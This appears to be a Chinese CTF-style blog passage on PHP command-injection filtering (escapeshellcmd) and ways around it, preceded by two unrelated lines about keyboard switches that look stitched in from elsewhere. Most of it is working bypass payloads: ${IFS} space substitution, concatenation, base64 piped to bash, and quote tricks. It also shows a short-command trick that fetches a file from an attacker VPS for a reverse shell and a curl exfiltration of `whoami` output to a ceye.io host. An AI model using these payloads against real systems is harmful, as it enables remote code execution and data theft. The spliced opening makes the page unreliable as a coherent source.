8种机械键盘轴体对比
本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?
命令执行过滤函数与绕过机制
escapeshellcmd函数:字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。(对可能进行欺骗命令执行函数的字符进行转义),下面来具体的看一下这个函数:
再看一下源码(阅读源码有些吃力Orz)
在windows平台是通过^来取消特殊字符的意义的,linux下应该是直接通过\来转义的,但是这里在windows下bat文件存在特别之处。
成功用%1a绕过并进行命令执行,如果我们用||,|,&,&&这些命令管道分隔符,是会被函数转义过滤掉的。这里在说一下常用的几个管道符,我比较常用的是&&,|。
在linux下:
| 无论前面的命令存在与否,都只会显示后面命令的执行结果。
&&必须要前面的命令是正确的,才可以执行后面的命令,并且会把两个命令的执行结果都显示出来。
绕过命令中对空格的过滤
分隔符
${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
${IFS}$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
同样这里也可以cat${IFS}$9flag
重定向符绕过1
2payload1:cat<>flag
payload2:cat
拼接绕过1
2
3payload:a=c;b=at;$a$b flag
You GET IT
Base64编码绕过1
2
3
4
5
6
7
8
9payload1:
[email protected]:/home/aohan# `echo "Y2F0IGZsYWc="|base64 -d`
You Get It
payload2:
[email protected]:/home/aohan# echo "Y2F0IGZsYWc="|base64 -d|bash
You Get It
`反引号在Linux下代表命令执行,这个命令代表着将字符串进行base64解码,然后输出这个命令执行后的信息
利用文件中的字母绕
payload :expr substr $(awk NR==1 epoch) 1 1` “`expr substr $(awk NR==2 epoch) 1 1
IP中.的绕过
将IP转化为长整数—-转换在线工具
单引号 双引号绕过
[email protected]:/home/aohan# cat f""lag
You Get It
[email protected]:/home/aohan# cat f''lag
You Get It
[email protected]:/home/aohan# cat f'l'ag
You Get It
[email protected]:/home/aohan# cat f'la'g
You Get It
都可以进行绕过
反斜线绕过
[email protected]:/home/aohan# cat flag
You Get It
无命令回显
例如HITCON2017的一道题:
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>
就可以利用>写入文件名,>wget\,>www.baidu.com\ ,ls -t >g, sh g,执行命令,这里可以把百度换成自己vps上的文件反弹shell操作。
第二种无回显操作方法:
利用ceye.io
因为在Linux下exec与shell_exec这种函数基本上是没有回显的,所以我们只能把内容打到ceye.io上,执行命令`curl http://f1f0nd.ceye.io/```whoami ``,然后可以看到命令的回显
LINUX下一些已有字符${PS2} 对应字符 ‘>’
${PS4} 对应字符 ‘+’
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串